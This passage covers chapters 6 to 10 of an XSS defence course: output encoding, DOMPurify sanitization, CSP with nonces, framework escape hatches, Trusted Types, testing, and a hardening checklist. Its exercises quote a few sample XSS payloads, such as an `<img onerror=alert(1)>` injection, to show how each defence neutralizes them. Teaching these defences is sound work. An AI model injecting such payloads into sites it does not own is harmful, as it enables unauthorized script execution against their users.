> **ENCODING IS FOR TEXT-AS-DATA; IF YOU ENCODE HTML YOU WANTED TO KEEP, IT SHOWS AS TAGS**
>
> If a blog comment should render *bold* from `<b>`, HTML-encoding it produces the literal text "`<b>`" on the page — correct for safety, wrong for the feature. That's the signal you have an *HTML-output* requirement, which needs **sanitization**, not encoding (or better, a non-HTML markup format like Markdown rendered safely). Don't respond to "the tags show up as text" by disabling encoding — that reintroduces XSS. The two tools solve different problems; pick by whether the value is *text* or *markup*.

Why Encoding Is the Foundation

Recall Chapter 4: blocklist filtering loses because the attacker has infinite payload variants. Output encoding wins for the mirror-image reason — it doesn't try to recognize *bad* input; it neutralizes a *small, closed set* of breakout characters for the current context, so *every* variant of *every* payload is rendered inert at once. It's complete by construction, not by enumeration. That's why it's the primary defence, with sanitization (Ch. 7) and CSP (Ch. 8) layered on top — defence in depth, but encoding is the load-bearing wall.

Hands-On Exercises

EXERCISE 1

Explain "encode on output, for the context" and give two concrete reasons encoding at output time is better than encoding/storing data at input time. Include the double-encoding and "unknown context" problems.

View solution

EXERCISE 2

Take the value `"><img src=x onerror=alert(1)>` and show what correct encoding produces in (a) an HTML body context and (b) a quoted HTML attribute context. Confirm why neither executes, and what the browser displays.

View solution

EXERCISE 3

Distinguish encoding from sanitization. For each requirement, say which to use and why: (a) display a user's chosen display-name; (b) render a rich-text comment that allows `<b>` and `<a>`; (c) show a search query back to the user. Explain why using the wrong tool either breaks the feature or reintroduces XSS.

View solution

CHAPTER 6 QUICK REFERENCE

- **Output encoding** = transform untrusted data on insertion so the browser treats it as *data*, not code — the primary XSS defence
- Two rules: **encode on output** (at insertion, not input) and **for the context** (the right encoder for where it lands)
- **Store raw, encode late** — input-time encoding causes double-encoding bugs & can't know the eventual context
- Five encoders: HTML body · HTML attribute (quoted) · JS string · URL (+scheme allowlist) · CSS — must match the context

- **Don't hand-roll** — use auto-encoding templates/frameworks (audit the *raw* escape hatches) or libraries (`he`, OWASP Encoder)
- **Encoding ≠ sanitization**: encoding shows data literally (text); sanitization keeps safe markup (HTML) — use encoding by default
- If encoded HTML "shows as tags," you have an HTML-output need → sanitize (Ch. 7); don't disable encoding
- Encoding is **complete by construction** (closed set of breakout chars), the mirror of why blocklists fail — the foundation
- **Next chapter:** sanitizing HTML & input validation — DOMPurify, allowlists, and where validation fits

CHAPTER 7 OF 10

Sanitizing HTML & Input Validation

CHAPTER 7

Sanitizing HTML & Input Validation

DOMPurify, allowlists, and where validation fits (and doesn't)

Output encoding (Chapter 6) handles the common case — data shown as text. But sometimes the value is *meant to be HTML*: a rich-text comment, a CMS article, a formatted message. You can't encode it (that would show the tags as text) and you can't trust it (it may contain a payload). The answer is **HTML sanitization**: parse the HTML and keep only a known-safe allowlist. This chapter also pins down where **input validation** genuinely helps — and where it's mistaken for an XSS defence.

When You Actually Need Sanitization

Sanitization is the *exception*, not the default. You need it only when **all three** are true: the input is user-provided, it must render *as HTML* (not text), and you therefore can't simply encode it. If any is false, prefer encoding (Chapter 6) — or avoid raw HTML entirely by accepting **Markdown** and rendering it through a safe renderer.

FIRST ASK: DO YOU REALLY NEED TO ACCEPT HTML AT ALL?

The safest rich text isn't sanitized HTML — it's a *restricted format you control*. Markdown (rendered with a safe configuration that disables raw HTML), or a structured editor that emits a constrained JSON document, sidesteps the entire "parse attacker HTML correctly" problem. Reach for HTML sanitization only when you must accept and store actual HTML. Every HTML-accepting feature is ongoing risk surface; minimize it.

Allowlist, Never Blocklist

A sanitizer works by parsing the input into a DOM and keeping only **explicitly permitted** elements and attributes, dropping everything else. This is the positive model from Chapter 4 — define what's *safe*, discard the rest — the opposite of trying to strip "bad" tags:

APPROACH	RULE	OUTCOME
Allowlist (correct)	keep only `b, i, p, a[href], ul, li…`	unknown/dangerous tags & attrs dropped by default
Blocklist (broken)	remove `<script>, onerror…`	endless bypasses (Chapter 4) — fails

The Tool: DOMPurify

Don't write an HTML sanitizer — sanitizing HTML correctly is brutally hard (browser parsing quirks, mutation, mXSS), and hand-rolled ones are reliably bypassed. The industry-standard library is **DOMPurify**:

```
// default: a sensible safe allowlist, strips scripts/handlers/dangerous URLs
const clean = DOMPurify.sanitize(dirtyHtml);

// restrict further to just the tags/attrs your feature needs
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ["b", "i", "a", "p", "ul", "li"],
  ALLOWED_ATTR: ["href"],
});
element.innerHTML = clean;   // now safe to insert
```

> **USE A MAINTAINED, BATTLE-TESTED SANITIZER — AND KEEP IT UPDATED**
>
> HTML sanitization is an arms race against **mutation XSS (mXSS)** — payloads that are inert when parsed but become dangerous after the browser *re-parses* the sanitized output (e.g. via namespace confusion in `<svg>`/`<math>`). DOMPurify is maintained specifically to track these and patch them. A hand-rolled regex "sanitizer" will be bypassed; an outdated library may miss new mXSS classes. Rules: use DOMPurify (or your platform's equivalent), keep it current, sanitize with the *narrowest* allowlist your feature needs, and sanitize as close to output as possible.

Server-Side vs Client-Side Sanitization

DOMPurify runs in the browser *and* on the server (via jsdom). Where you sanitize depends on where the HTML is inserted:

- **DOM-based / SPA** — sanitize in the client right before `innerHTML` (the DOM-XSS fix from Chapter 2; encoding can't help there).
- **Server-rendered** — sanitize on the server before storing or emitting the HTML.
- **Defence in depth** — sanitizing on store *and* escaping/sanitizing on render is reasonable for high-risk HTML.

Where Input Validation Fits (and Where It Doesn't)

Input validation is good practice — but it is **not the XSS defence**, and treating it as one is a classic mistake.

	INPUT VALIDATION	OUTPUT ENCODING / SANITIZATION
Goal	reject malformed/unexpected data (an email looks like an email)	make data safe for its output context
XSS role	secondary — reduces bad data, defence in depth	primary — actually prevents execution
Why not sufficient	many fields legitimately allow `< > " '` (names, comments, code snippets)	neutralizes the payload regardless of input

"WE VALIDATE INPUT" IS NOT AN XSS DEFENCE

Validation helps where a field has a *strict, narrow format* — a date, a UUID, a number, an enum, an email — where you can reject anything that doesn't match (allowlist validation). But you **cannot** validate your way out of XSS for free-text fields: a comment, a name (`O'Brien <the boss>`), a bug report containing code, or a message — these legitimately contain `< > " '`, so you can't reject those characters without breaking the feature. The payload survives validation and must be neutralized at *output*. Validate for data quality; encode/sanitize for safety. Never substitute the former for the latter.

The Decision Flow

1. Does the value need to render as **HTML**? If **no** → **encode** (Chapter 6). Done.
2. If **yes** → can you use **Markdown**/a structured format instead of raw HTML? If yes, prefer that (rendered safely).
3. If you must accept HTML → **sanitize with DOMPurify**, narrowest allowlist, kept updated.
4. Independently → **validate** structured fields for data quality, and layer **CSP** (Chapter 8) underneath everything.

Hands-On Exercises

EXERCISE 1

Use DOMPurify to sanitize a rich-text comment that should allow `<b>`, `<i>`, and `<a href>` but nothing else. Show what happens to a payload like `<b>hi</b><img src=x onerror=alert(1)>`, and explain why allowlisting (not blocklisting) is what makes it safe.

View solution

EXERCISE 2

Explain why input validation cannot be the primary XSS defence, using three free-text fields that legitimately contain HTML-special characters. Then give two fields where allowlist *validation* genuinely does help, and say why the difference is the field's format.

View solution

EXERCISE 3

Walk the decision flow for three features: (a) a username shown on a profile; (b) a blog post body with rich formatting; (c) an account-balance number. State whether each needs encoding, sanitization, or validation (or a mix), and justify by whether the value is text, markup, or a strict format.

View solution

CHAPTER 7 QUICK REFERENCE

- **Sanitization** = parse HTML, keep an **allowlist** of safe tags/attrs, drop the rest — for when the value must render *as HTML*
- It's the **exception, not the default** — encode (Ch. 6) unless you genuinely need to render user HTML
- Prefer a **restricted format you control** (Markdown rendered safely) over accepting raw HTML when possible
- **Allowlist, never blocklist** — define what's safe; stripping "bad" tags fails (Chapter 4)
- Use **DOMPurify** (server via jsdom or client) — never hand-roll; keep it updated for **mutation XSS (mXSS)**
- Sanitize where HTML is inserted: client before `innerHTML` (DOM XSS), or server before store/emit
- **Input validation is NOT the XSS defence** — free-text fields legitimately contain `< > " '`; it's data-quality + defence in depth
- Allowlist **validation** helps for strict formats (date, UUID, number, enum, email) — reject anything off-format
- **Next chapter:** Content Security Policy (CSP) — a browser-enforced safety net layered under encoding/sanitization

CHAPTER 8 OF 10

Content Security Policy (CSP)

CHAPTER 8

Content Security Policy (CSP)

Directives, nonces & hashes, the unsafe-inline trap, and CSP as a safety net

Encoding (Chapter 6) and sanitization (Chapter 7) *prevent* injection. **Content Security Policy** is different in kind: it's a browser-enforced *safety net* that limits the damage if a payload *does* slip through. It's the classic defence-in-depth layer for XSS — not a substitute for encoding, but a powerful backstop that can turn a critical XSS into a non-event.

What CSP Does

CSP is an HTTP response header (`Content-Security-Policy`) that tells the browser **which sources of content are allowed to load and execute**. The browser enforces it. For XSS, the decisive power is controlling *what scripts may run*: even if an attacker injects `<script>` into the page, a good CSP means the browser **refuses to execute it**.

```
# a response header restricting where content can come from
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
```

This says: load resources only from our own origin, run scripts only from our own origin (*not* inline, not from other domains), and block plugins entirely. An injected inline `<script>alert(1)</script>` violates `script-src 'self'` and is **not executed**.

Key Directives

DIRECTIVE	CONTROLS
`default-src`	fallback for all resource types not otherwise specified
`script-src`	where scripts may load/execute — **the key XSS control**
`style-src`	where stylesheets may come from
`img-src / font-src / connect-src`	images / fonts / fetch/XHR/WebSocket targets

DIRECTIVE	CONTROLS
`object-src`	plugins (`<object>` / `<embed>`) — set to `'none'`
`base-uri`	restricts `<base>` — set to `'self'` to block base-tag hijacks
`frame-ancestors`	who may frame you (clickjacking defence)

Common source values: `'self'` (same origin), `'none'` (nothing), a domain allowlist, `'nonce-…'`, `'sha256-…'`, and the dangerous `'unsafe-inline'` / `'unsafe-eval'`.

The Hard Part: Inline Scripts

A strict `script-src 'self'` blocks *all* inline scripts — including the legitimate ones most sites have (`<script>…</script>` in the page, `onclick=` handlers). That's what makes CSP effective against XSS (injected scripts are inline), but it's also why adopting CSP is work. There are two safe ways to allow *your* inline scripts while still blocking injected ones: **nonces** and **hashes**.

```
# NONCE: server puts a fresh random token in the header AND on each trusted script
Content-Security-Policy: script-src 'nonce-r4nd0m123'

<script nonce="r4nd0m123"> /* trusted: runs */ </script>
<script> /* injected: no nonce -> blocked */ </script>
```

The nonce is **unpredictable and regenerated per response**, so an attacker injecting a script can't know it and can't add a valid `nonce=` attribute — their script is blocked while yours runs. **Hashes** work similarly for static inline scripts: you put the script's SHA-256 in the policy (`'sha256-…'`), and only scripts matching that exact content execute.

> **'UNSAFE-INLINE' DEFEATS THE WHOLE PURPOSE — IT'S THE #1 CSP MISTAKE**
>
> The quickest way to "make CSP not break my site" is to add `'unsafe-inline'` to `script-src` — which re-allows *all* inline scripts, **including the attacker's**. A policy of `script-src 'self' 'unsafe-inline'` provides essentially *zero* XSS protection, because injected inline scripts are exactly what it now permits. Likewise `'unsafe-eval'` re-enables `eval()` -class sinks. A CSP that lists `'unsafe-inline'` for scripts looks like a defence but isn't one. Use **nonces or hashes** instead — that's the entire point of CSP for XSS.

Why CSP Is Defence-in-Depth, Not the Primary Fix

CSP must *not* be your only XSS defence, for several reasons: policies are easy to misconfigure (one `'unsafe-inline'` and it's hollow); some XSS doesn't need to inject script tags (e.g. stealing data via allowed image/connect requests, or DOM-clobbering); older browsers have partial support; and a too-strict policy that

breaks the site pressures teams to weaken it. **Encoding and sanitization stop the injection; CSP limits the blast radius if they fail.** Together they're strong; CSP alone is a leaky net.

BUILD A CSP SAFELY WITH REPORT-ONLY MODE FIRST

Deploying a strict CSP on a complex existing site usually breaks something (an inline handler, a third-party widget). The safe rollout: send `Content-Security-Policy-Report-Only` first — the browser *reports* violations (to a `report-uri` / `report-to` endpoint) **without blocking** anything. You collect real violation data, fix your inline scripts (move to nonces/external files), tighten the policy until reports are clean, *then* switch to the enforcing header. This avoids the "strict CSP broke prod, revert it" cycle that leads to `'unsafe-inline'`.

A Strong Starting Policy

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'self'
```

Modern guidance favours a **nonce-based, "strict-dynamic"** policy over long domain allowlists (which are easy to bypass via an allowlisted host's open redirect or a vulnerable script on it). Tools like Google's **CSP Evaluator** grade a policy and flag weaknesses like `'unsafe-inline'` or overly broad allowlists.

Hands-On Exercises

EXERCISE 1

Given `Content-Security-Policy: script-src 'self'`, explain what happens to (a) a legitimate external script from your own origin, (b) an injected inline `<script>`, (c) an injected `<img onerror>` handler. State why CSP turns an injected script into a non-event.

View solution

EXERCISE 2

Explain how a CSP nonce lets your inline scripts run while blocking an attacker's injected inline script. Why must the nonce be random and per-response? Then explain why adding `'unsafe-inline'` to make the site work destroys the protection.

View solution

EXERCISE 3

Argue why CSP should be defence-in-depth rather than the primary XSS defence. Give two ways a misconfigured or bypassed CSP still leaves XSS exploitable, and describe the report-only rollout strategy and why it prevents the "strict CSP broke the site" failure mode.

View solution

CHAPTER 8 QUICK REFERENCE

- **CSP** = a response header telling the browser which content sources may load/execute — a browser-enforced **safety net**
- Key XSS control is **script-src**: a good policy means an injected `<script>` simply *won't run*
- Useful directives: `default-src`, `script-src`, `object-src 'none'`, `base-uri 'self'`, `frame-ancestors`
- **Nonces** (random, per-response) and **hashes** let *your* inline scripts run while blocking injected ones
- **'unsafe-inline' destroys CSP's XSS value** — it re-allows the attacker's inline scripts; the #1 mistake (also avoid `'unsafe-eval'`)
- CSP is **defence-in-depth, not primary** — encoding/sanitization stop injection; CSP limits the blast radius if they fail
- Roll out with **Content-Security-Policy-Report-Only** first, fix violations, then enforce; prefer nonce + `strict-dynamic` over domain allowlists
- Grade policies with **CSP Evaluator**; watch for `'unsafe-inline'` and broad allowlists
- **Next chapter:** framework protections & modern XSS — React/Vue/Angular auto-escaping, escape hatches, Trusted Types

CHAPTER 9 OF 10

Framework Protections & Modern XSS

CHAPTER 9

Framework Protections & Modern XSS

Auto-escaping, the escape hatches that reopen XSS, and Trusted Types

Modern frameworks dramatically reduced XSS — not by magic, but by making **output encoding the default** so developers get it right without thinking. But every framework also provides *escape hatches* to render raw HTML, and those are where modern XSS lives. This chapter covers how the protection works, where it leaks, and the newest browser defence: Trusted Types.

Auto-Escaping: Safe by Default

React, Vue, and Angular all **context-aware-encode interpolated values automatically**. When you bind a variable into a template, the framework escapes it for you — the Chapter 6 discipline, built in:

```
// React — {value} is auto-escaped; a payload renders as text
function Hello({ name }) {
  return <h1>Hello, {name}</h1>;  // name="<script>…" -> shown as text
}

// Vue — {{ value }} auto-escapes;  Angular — {{ value }} auto-escapes
```

This is why XSS rates fell as frameworks took over: the default path is safe, so the most common mistake (forgetting to encode) is eliminated for ordinary interpolation. The flip side — exactly like SameSite's "less, not gone" from the CSRF course — is that the *escape hatches* keep XSS alive.

The Escape Hatches — Where Modern XSS Lives

Each framework has an explicit "render this as raw HTML" API that **bypasses auto-escaping**. They're deliberately awkwardly named to signal danger:

FRAMEWORK	ESCAPE HATCH	RISK
React	`dangerouslySetInnerHTML`	injects raw HTML — name is the warning
Vue	`v-html`	sets innerHTML, no escaping

FRAMEWORK	ESCAPE HATCH	RISK
Angular	`[innerHTML]` + `bypassSecurityTrust…`	bypasses Angular's sanitizer
Svelte	`{@html ...}`	raw HTML insertion

```
// the dangerous pattern — raw untrusted HTML into the DOM
<div dangerouslySetInnerHTML={{ __html: userComment }} />  // XSS if unsanitized

// the fix — sanitize first (Chapter 7)
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userComment) }} />  // safe
```

AUDITING A MODERN APP FOR XSS = GREP FOR THE ESCAPE HATCHES

Because ordinary interpolation is safe, XSS review in a React/Vue/Angular codebase largely reduces to finding the explicit bypasses: search for `dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml`, `{@html}`, and direct `innerHTML` / `document.write` usage. Each is a place where auto-escaping was switched off and the input *must* be sanitized (DOMPurify). These greppable markers make modern XSS auditing far more tractable than the old "every output everywhere" problem — but you must actually check each one.

It's Not Only innerHTML — Other Framework Sinks

Auto-escaping covers text interpolation, but some bindings remain dangerous because the *value itself* is a code-ish context (Chapter 3):

- **URL bindings** — a user-controlled `href` / `src` can be `javascript:`. React/Angular block some schemes, but binding untrusted URLs still needs scheme validation.
- **Dynamic attribute/prop names** and spreading untrusted objects into props can introduce handlers.
- **Server-side rendering (SSR)** + hydration can reintroduce injection if data is interpolated into the initial HTML or a `<script>` JSON island unsafely.
- **Template injection** — if untrusted data reaches the *template compiler* (e.g. server-side template engines, or `eval`-like dynamic templates), it's a far worse class than DOM XSS.

DOM XSS Hasn't Gone Away

Even in framework apps, plain DOM-XSS sinks (Chapter 2) bite when developers reach outside the framework: a stray `element.innerHTML = userData`, `document.write`, `eval`, `setTimeout("string")`, or assigning untrusted data to `location`. The framework only protects what flows *through its templating*; raw DOM manipulation is on you.

Trusted Types — Killing DOM XSS at the Sink

Trusted Types is a modern browser feature (enabled via CSP) that attacks DOM XSS structurally: it makes dangerous sinks (`innerHTML`, `document.write`, etc.) **refuse plain strings** — they only accept special *typed* objects produced by a policy you define and control.

```
Content-Security-Policy: require-trusted-types-for 'script'

// now: element.innerHTML = userString   -> THROWS (string not allowed)
// must pass through a policy that sanitizes and returns a TrustedHTML object
const policy = trustedTypes.createPolicy("safe", {
  createHTML: s => DOMPurify.sanitize(s)
});
element.innerHTML = policy.createHTML(userString);  // allowed & sanitized
```

WHY TRUSTED TYPES IS POWERFUL: IT MAKES THE UNSAFE PATH IMPOSSIBLE, NOT JUST DISCOURAGED

Conventional DOM-XSS advice is "remember to sanitize before `innerHTML`" — which fails the moment one developer forgets. Trusted Types *inverts the default*: assigning a raw string to a dangerous sink simply **throws an error**, so the only way to use the sink is through your sanitizing policy. It turns "don't forget to sanitize" (a discipline that erodes) into "you physically cannot inject an unsanitized string" (a guarantee enforced by the browser). It also gives you a single chokepoint to audit — the policy — instead of every sink in the codebase. Adoption is growing; it's the strongest structural answer to DOM XSS.

Hands-On Exercises

EXERCISE 1

Explain why `<h1>Hello, {name}</h1>` in React is safe even when `name` contains a script payload, but `dangerouslySetInnerHTML={{__html: name}}` is not. Give the correct safe version of the second one.

View solution

EXERCISE 2

You're security-reviewing a Vue/React/Angular codebase. List the specific APIs and sinks you'd grep for, and explain why auto-escaping means XSS review concentrates on these rather than on every template binding. Note one non-innerHTML sink that auto-escaping doesn't cover.

View solution

EXERCISE 3

Explain how Trusted Types prevents DOM-based XSS, contrasting "remember to sanitize before innerHTML" with "the sink rejects raw strings." Why does this convert a fragile discipline into an enforced guarantee, and what becomes the single thing you audit?

View solution

CHAPTER 9 QUICK REFERENCE

- **Auto-escaping** — React `{x}`, Vue/Angular `{{ x }}` context-encode by default; why framework apps have far less XSS
- **Escape hatches reopen it**: `dangerouslySetInnerHTML` (React), `v-html` (Vue), `bypassSecurityTrust…` / `[innerHTML]` (Angular), `{@html}` (Svelte)
- Fix the hatch by **sanitizing first** (DOMPurify) — never feed raw untrusted HTML to it
- Audit modern apps by **grepping the hatches** + raw `innerHTML` / `document.write` / `eval`
- Auto-escaping doesn't cover everything: **URL bindings** (`javascript:`), SSR/hydration, prop spreading, **template injection**
- Plain **DOM XSS** still bites when you bypass the framework with raw DOM APIs
- **Trusted Types** (via CSP `require-trusted-types-for 'script'`) — dangerous sinks reject raw strings; only a sanitizing policy's typed output is accepted
- Trusted Types turns "remember to sanitize" into an **enforced guarantee** with one auditable chokepoint — the strongest structural DOM-XSS defence
- **Next chapter:** testing, pitfalls & a deployable hardening checklist (the course finale)

CHAPTER 10 OF 10

Testing, Pitfalls & Checklist

CHAPTER 10

Testing, Pitfalls & Checklist

Finding XSS, the broken-filter catalogue, and a deployable hardening checklist

The finale turns the course into practice: how to *test* for XSS, the broken-defence patterns to recognize in review, and a copy-pasteable hardening checklist that pulls all ten chapters together.

How to Test for XSS

1. **Map every input → output flow** — URL params, form fields, headers, stored data, and where each is reflected. Don't forget *indirect* reflections (a name set on one page, shown on another).
2. **Inject a unique benign marker** — e.g. `xss7421` — and find where it lands in the response/DOM. This tells you the *context* (Chapter 3) before you craft a payload.
3. **Try context-appropriate payloads** — a tag in HTML body, a quote-breakout in an attribute, a scheme in a URL — or one polyglot probe (Chapter 4).
4. **Check DOM XSS separately** — trace client-side sources (`location`, `hash`) to sinks (`innerHTML`, `eval`); these won't show in server testing (Chapter 2).
5. **Confirm execution safely** — use `console.log` or a request to a collector you control, not noisy `alert()` (Chapter 4).

TOOLS — BUT UNDERSTAND WHAT THEY CAN AND CAN'T FIND

Burp Suite and **OWASP ZAP** automate reflected/stored probing; **Dalfox** is a fast XSS-specific scanner; browser DevTools trace DOM flows. Automated scanners are excellent at the mechanical reflected cases but routinely miss **DOM XSS** (requires data-flow analysis), **stored XSS** with delayed/second-order reflection, and context-specific breakouts. Manual review of the input→output map — especially the framework escape hatches from Chapter 9 — catches what scanners don't. Use both.

The Broken-Defence Catalogue

BROKEN DEFENCE	WHY IT FAILS	CHAPTER
`Blocklist filtering ("strip <script>")`	infinite bypasses — case, entities, no-script vectors	4

BROKEN DEFENCE	WHY IT FAILS	CHAPTER
`HTML-encoding everywhere`	wrong for JS/URL/unquoted-attribute contexts	3,6
`Encoding at input, storing encoded`	double-encoding; can't know output context	6
`Hand-rolled HTML sanitizer`	bypassed via parsing quirks / mXSS	7
`"We validate input"`	free-text legitimately has `< > " '`	7
`CSP with 'unsafe-inline'`	re-allows injected inline scripts	8
`Unsanitized dangerouslySetInnerHTML` / `v-html`	bypasses framework auto-escaping	9
`HttpOnly treated as an XSS fix`	blocks cookie read only; script still acts	1,5

The Hardening Checklist

- ☑ **Context-aware output encoding** on every untrusted value — via framework auto-escaping or a library; encode on output, for the context
- ☑ **Store raw, encode late** — never store pre-encoded data
- ☑ **Sanitize with DOMPurify** (narrow allowlist, kept updated) wherever user HTML must render; prefer Markdown over raw HTML
- ☑ **Audit every escape hatch** — `dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrust…`, raw `innerHTML` / `eval`
- ☑ **Validate URL schemes** — allowlist `http/https/mailto`; reject `javascript:` / `data:`
- ☑ **Strict CSP** — nonce/hash-based, no `'unsafe-inline'`; roll out via report-only; consider **Trusted Types**
- ☑ **HttpOnly + Secure + SameSite** on session cookies — mitigation, not a fix
- ☑ **Allowlist input validation** on strict-format fields — data quality & defence in depth
- ☑ **Test it** — input→output map, context probes, DOM data-flow, scanners + manual review

THE ONE PRINCIPLE THAT SURVIVES EVERY CHAPTER

If you remember a single thing from this course: **keep untrusted input as *data*; never let it become *code*.** Output encoding makes it display as data; sanitization strips the code-ish parts of HTML; CSP and Trusted Types stop the browser executing it if it slips through; framework auto-escaping applies the discipline by default. Every defence is one

expression of that single rule, and every XSS bug is one violation of it. Layer the defences (defence in depth), but never weaken the foundation — encoding — to make a feature work; that's the recurring mistake that reopens XSS.

How the Course Fits Together

The arc: **understand the bug** (Ch. 1 — data vs code; same-origin power), **the variants** (Ch. 2 types, Ch. 3 contexts), **the attack** (Ch. 4 payloads, Ch. 5 impact), then the **defences** bottom-up — output encoding as the foundation (Ch. 6), sanitization for real HTML (Ch. 7), CSP as the backstop (Ch. 8), framework auto-escaping & Trusted Types (Ch. 9), and operational testing/hardening (Ch. 10). It also closes the loop with the CSRF course: XSS is the bug that defeats CSRF defences, which is why it's foundational and worth fixing first.

Hands-On Exercises

EXERCISE 1

Write a step-by-step XSS test plan for a single input field, from mapping the reflection to confirming execution. Include how you'd determine the injection context first, and how you'd separately check for DOM-based XSS that a server-side scanner would miss.

View solution

EXERCISE 2

Audit this app against the broken-defence catalogue: it strips `<script>` from input, HTML-encodes all output, sets a CSP with `'unsafe-inline'`, and renders comments with `v-html`. List every flaw and the correct fix for each.

View solution

EXERCISE 3

Produce a prioritized XSS hardening plan for a React app with a cookie session and a rich-text comment feature. Order the defences, justify the ordering (what's foundational vs backstop), and explain why fixing XSS also protects the app's CSRF defences.

View solution

CHAPTER 10 QUICK REFERENCE

- **Test:** map input→output flows · inject a unique marker to find the context · context-appropriate payloads · check DOM sources→sinks separately · confirm with a benign marker
- Scanners (Burp/ZAP/Dalfox) catch reflected/stored well but **miss DOM XSS & second-order** — pair with manual review of the escape hatches
- **Broken defences:** blocklists · HTML-encode-everywhere · encode-at-input · hand-rolled sanitizer · "we validate" · `'unsafe-inline'` CSP · unsanitized `v-html` / `dangerouslySetInnerHTML` · HttpOnly-as-fix
- **Checklist:** context-aware encoding · store raw/encode late · DOMPurify for HTML · audit escape hatches · URL-scheme allowlist · strict nonce CSP + Trusted Types · HttpOnly/Secure/SameSite · validate strict fields · test
- **The one principle:** keep untrusted input as *data*, never *code* — every defence is one expression of it
- Never weaken encoding to make a feature work — that's the recurring reopening mistake
- XSS closes the loop with CSRF: it defeats CSRF defences, so it's foundational — fix it first

★ XSS — Cross-Site Scripting Complete — 10 / 10 chapters

From "untrusted input becomes code" and the same-origin power of an injected script, through the three types, injection contexts, payload anatomy and real-world impact, then the full defence stack — output encoding, sanitization, CSP, framework auto-escaping, and Trusted Types — to testing and a deployable checklist. Paired with the CSRF course, you now have both halves of the client-side-injection picture, and the throughline that ties them: keep untrusted input as data, and fix XSS first.